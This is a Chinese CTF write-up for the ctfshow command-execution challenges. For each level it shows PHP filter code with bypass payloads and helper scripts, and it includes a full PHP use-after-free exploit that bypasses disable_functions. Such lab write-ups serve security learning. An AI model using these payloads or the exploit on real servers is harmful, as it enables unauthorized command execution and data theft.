ctfshow命令执行

ctfshow命令执行系列

题目链接<http://49.235.198.94:808/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
	<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
print_r($match);
print($ip);
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("某些符号不能出现哦~");
}
else if(preg_match("/ /", $ip)){
die("空格当然是不行的鸭~");
}
else if(preg_match("/bash/", $ip)){
die("No bash!");
}
else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("No Flag! No Hack!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}
?>

这个过滤的也很严,可以使用base64编码绕过

1
?ip=11||`echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d`

1602063322132

web-29

源码

1
2
3
4
5
6
7
8
9
10
11
12
 <?php

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

知识过滤了flag关键字,可以直接cat *
1601688191551

其他解

1
2
3
echo `nl fl''ag.php`;

/?c=system($_GET['a']);&a=nl flag.php;

web-30

考点:命令执行

核心代码

1
2
3
4
5
6
7
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}

}

payload :

1
2
?c=assert($_GET[a]);&a=system('cat *');
?c=echo `cat *`;

1601688991903

1
highlight_file(~%99%93%9E%98%D1%8F%97%8F);//

运用了取反

web-31

源码

1
2
3
4
5
6
7
8
9
10
11
 <?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

此题过滤了更多,但是任然可以使用上面的方法进行绕过

1
?c=assert($_GET[a]);&a=system('cat *');

web-32

源码

1
2
3
4
5
6
7
8
9
10
11
12
 <?php

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

这一个过滤得比较多,过滤了分号,可以使用?>来闭合,过滤了括号,但是include可以不需要括号,并且可以通过伪协议来进行文件包含

1
?c=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

web-33

源码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
//
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

这一关过滤了双引号,那就不加双引号

1
?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

web-34

源码

1
2
3
4
5
6
7
8
9
10
11
12
 <?php

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

这一关过滤了冒号,但似乎没什么影响

payload同上

web-35

源码:

1
2
3
4
5
6
7
8
9
10
11
 <?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

同上

web-36

同上

web-37

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
 <?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;

}

}else{
highlight_file(__FILE__);
}

文件包含,未过滤伪协议,可直接变为命令执行

1601730450647

也可以使用日志包含

web-38

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
 <?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;

}

}else{
highlight_file(__FILE__);
}

代码过滤了php,不能使用php伪协议,但是任然可以使用日志包含

抓包再user-agent里面添加<?php system('cat flag.php');?>
然后包含/var/log/nginx/access.log即可

1601731002063

也可以使用data伪协议

1
data:text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

web-39

源码

1
2
3
4
5
6
7
8
9
10
11
12
 <?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}

}else{
highlight_file(__FILE__);
}

限制了文件后缀,但是任然可以使用data伪协议

1
data:text/plain,<?php system('cat *');?>

1601732078157

web-40

源码

1
2
3
4
5
6
7
8
9
10
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

此题考了无参数rce

payload

1
2
3
4
5
6
7
PHPSESSID : ls -al # session中写入恶意代码

c=session_start();system(session_id());

or

highlight_file(next(array_reverse(scandir(pos(localeconv())))));

1601732939052

1601732573892

web-41

源码

1
2
3
4
5
6
7
8
9
10
11
 <?php

if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>

此题过滤了字母和数字,异或和取反也被过滤,但是位或没有过滤,可以使用位或来构造payload

生成可见字符脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
 <?php
$payload = "cat *";
$k=0;
$a = "";
$b = "";
while($k<20){
for ($i=0; $i < 256; $i++){
for ($j=0; $j <256 ; $j++){
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(!preg_match($preg ,chr($i)) && !preg_match($preg , chr($j))){
$c=(chr($i)|chr($j));
if (ord($c)>=32&ord($c)<=126){
$contents=$c." ".urlencode(chr($i))." ".urlencode(chr($j))."</br>";
if(substr($payload,$k,1)==$c){
echo $contents;
$k++;
$a=$a.urlencode(chr($i));
$b=$b.urlencode(chr($j));
}
}
}
}
}
}
$res = "'$a'"."|"."'$b'";
$res = str_replace('%10+',"",$res);
$res = str_replace('+%10',"",$res);
$res = str_replace('+',"%20",$res);//将加号替换为空格%20

echo $res; //最候的结果可能需要自己手动删除最后几个字符

1601790361619

羽师傅的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {

if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}

else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}

}
}
fwrite($myfile,$contents);
fclose($myfile);

将生成的rce_or.txt与下面的python文件放在一起,执行python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php") #没有将php写入环境变量需手动运行
if(len(argv)!=2):
print("="*50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("="*50)
exit(0)
url=argv[1]
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce_or.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)

while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
data={
'c':urllib.parse.unquote(param)
}
r=requests.post(url,data=data)
print("\n[*] result:\n"+r.text)

1601790478102

这个就很方便

web-42

源码

1
2
3
4
5
6
7
 <?php
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}

>/dev/null

这条命令的作用是将标准输出1重定向到/dev/null中。 /dev/null代表linux的空设备文件,所有往这个文件里面写入的内容都会丢失,俗称“黑洞”。那么执行了>/dev/null之后,标准输出就会不再存在,没有任何地方能够找到输出的内容。

这个既然没有回显,可以尝试截断,使用;截断

1601790880812

web-43

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

一些命令分隔符

linux中:%0a 、%0d 、; 、& 、| 、&&、||

1601791159018

web-44

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

同上

web-45

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

此题过滤了空格

1
2
3
4
5
6
7
>{cat,flag.txt} 
>cat${IFS}flag.txt
>cat$IFS$9flag.txt
>cat<flag.txt
>cat<>flag.txt
>kg=$'\x20flag.txt'&&cat$kg
>(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)

?c=tac${IFS}*%0a

web-46

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
1
2
?c=tac<>fl\ag.php%0a
?c=tac<>fl''ag.php%0a

web-47

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
1
?c=tac<>fl\ag.php%0a

web-48

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
1
?c=tac<>fl\ag.php%0a

web-49

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
1
?c=tac<>fl\ag.php%0a

web-50

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

同上

web-51

1
2
3
4
5
6
7
8
9

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
1
?c=nl<>fl\ag.php%0a

web-52

1
2
3
4
5
6
7
8
9
10


if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
1
?c=nl${IFS}/fl''ag||

web-53

源码

1
2
3
4
5
6
7
8
9
10
11
12
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
1
nl${IFS}fla\g.php

web-54

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

可以使用通配符

1
?c=/bin/?at${IFS}f???????

web-55

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

本题过滤了所有字母,但是未过滤取反、异或、与或
参考:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

https://blog.csdn.net/qq_46091464/article/details/108513145

PHP5+shell打破禁锢

因为反引号不属于“字母”、“数字”,所以我们可以执行系统命令,但问题来了:如何利用无字母、数字、$的系统命令来getshell?

好像问题又回到了原点:无字母、数字、$,在shell中仍然是一个难题。

此时我想到了两个有趣的Linux shell知识点:

  1. shell下可以利用.来执行任意脚本
  2. Linux文件名支持用glob通配符代替

第一点曾在《 小密圈里的那些奇技淫巧 》露出过一角,但我没细讲。.或者叫period,它的作用和source一样,就是用当前的shell执行一个文件中的命令。比如,当前运行的shell是bash,则. file的意思就是用bash执行file文件中的命令。

1605619379002

. file执行文件,是不需要file有x权限的。那么,如果目标服务器上有一个我们可控的文件,那不就可以利用.来执行它了吗?

这个文件也很好得到,我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。

第二个难题接踵而至,执行. /tmp/phpXXXXXX,也是有字母的。此时就可以用到Linux下的glob通配符:

  • *可以代替0个及以上任意字符
  • ?可以代表1个任意字符

那么,/tmp/phpXXXXXX就可以表示为/*/?????????/???/?????????

大意为通过构造一个上传页面进行上传文件,该文件会被临时存在/tmp/phpXXXXXX中,由于该文件最后三个字母为大写,所以需要用/???/????????[@-[]来进行匹配

大写字母位于@[之间:

image.png

1605620212498

解题

首先构造一个上传页面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://8f9d9536-ce65-4454-aff7-16426a8b0ef6.chall.ctf.show/" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

上传文文件抓包

构造命令执行

1605620344697

web-56

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

可通过web55的方法解题

1605620572884

web-57

源码:

1
2
3
4
5
6
7
8
9
10
11
<?php

//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}

本题过滤了小写字母和数字,我们需要构造 出36即可

echo ${_} #返回上一次的执行结果
echo $(()) #0
echo $((~$(()))) #~0是-1
$(($((~$(())))$((~$(()))))) #$((-1-1))即$$((-2))是-2
echo $((~-37)) #~-37是36

1605622423587

payload

1
$((~$((~$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))))$((~$(())))))))

1605622609982

web-58

源码

1
2
3
4
5
6
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

本题禁用了命令执行的函数,但是未禁用highlight_file等函数,可直接查看flag源码

1605712674112

payload

1
c=highlight_file(%27flag.php%27);

web-59

源码

1
2
3
4
5
6
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

1605712905640

payload

1
c=show_source('flag.php');

web-60

同web-59

1605712978621

web-61

web-62

web-63

web-64

web-65

同上

web-66

这一关禁用了show_source 函数

先看下目录

1
c=print_r(scandir("/"));

发现flag.txt

1605714190510

之后

1
c=highlight_file('/flag.txt');

1605714201852

web-67

1
c=highlight_file('/flag.txt');

web-68

1
c=include('/flag.txt');

web-69

web-70

同上

web-71

1
2
3
4
5
6
7
8
9
10
11
12
13
14
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}

?>

这个题会把所有输出的字符替换为?

我们可以执行php代码让后面的匹配缓冲区不执行直接退出 payload:

1
c=include('/flag.txt');exit(0);

web-72

1
2
3
4
5
6
7
8
9
10
11
12
13
14
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}

?>

本题使用了open_basedir进行目录访问限制

open_basedir 绕过

首先执行

1
c=?><?php $a=new directoryiterator("glob:///*"); foreach($a as $f) {echo($f->__tostring().' '); } exit(0); ?>

1605789624881

得到 flag0.txt

https://wooyun.js.org/drops/PHP%E7%BB%95%E8%BF%87open_basedir%E5%88%97%E7%9B%AE%E5%BD%95%E7%9A%84%E7%A0%94%E7%A9%B6.html

之后利用uaf的脚本进行命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
c=function ctfshow($cmd) {
global $abc, $helper, $backtrace;

class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}

class Helper {
public $a, $b, $c, $d;
}

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) {

$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);

if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);

if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

function trigger_uaf($arg) {

$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

trigger_uaf('x');
$abc = $backtrace[1]['args'][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

write($abc, 0x60, 2);
write($abc, 0x70, 6);

write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}


$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);

($helper->b)($cmd);
exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();

1605790461845

web-73

payload

1
c=?><?php $a=new directoryiterator("glob:///*"); foreach($a as $f) {echo($f->__tostring().' '); } exit(0); ?>

得到/flagc.txt

然后

1
c=include('/flagc.txt');exit();

即可

web-74

同上

web-75

1
2
3
4
5
6
7
c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f-
>__toString().'');}exit(0);?>
#通过payload扫描 flag36.txt
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

1605795121784

web-76

同上

web-77

FFI,php7.4以上才有 https://www.php.net/manual/zh/ffi.cdef.php

https://www.php.cn/php-weizijiaocheng-415807.html

1
2
3
$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数
1
2
3
c=?><?php $ffi = FFI::cdef("int system(const char *command);");
$ffi->system("/readflag > 222.txt");
exit();

访问222.txt即可

web118 ——月饼杯web3’s revenge

命令执行,过滤了小写字母和数字,需要使用大写字母和符号进行构造payload,首先想到环境变量

1
${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.???

1605799216415

web-124

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

此题与[CISCN 2019 ]Love Math一样

PHP函数:

scandir() 函数:返回指定目录中的文件和目录的数组。
base_convert() 函数:在任意进制之间转换数字。
dechex() 函数:把十进制转换为十六进制。
hex2bin() 函数:把十六进制值的字符串转换为 ASCII 字符。
var_dump() :函数用于输出变量的相关信息。
readfile() 函数:输出一个文件。该函数读入一个文件并写入到输出缓冲。若成功,则返 回从文件中读入的字节数。若失败,则返回 false。您可以通过 @readfile() 形式调用该 函数,来隐藏错误信息。
语法:readfile(filename,include_path,context)

首先是通过c进行get传参,不能包含blacklist里面的字符,并且不能有whitelist以外的字符
这里可以通过将函数名转为10进制,再通过白名单内的函数转回函数名,执行相应代码
payload:

1
2
3
4
base_convert(37907361743,10,36) => "hex2bin"
dechex(1598506324) => "5f474554"
$pi=hex2bin("5f474554") => $pi="_GET" //hex2bin将一串16进制数转换为二进制字符串
($$pi){pi}(($$pi){abs}) => ($_GET){pi}($_GET){abs} //{}可以代替[]
1
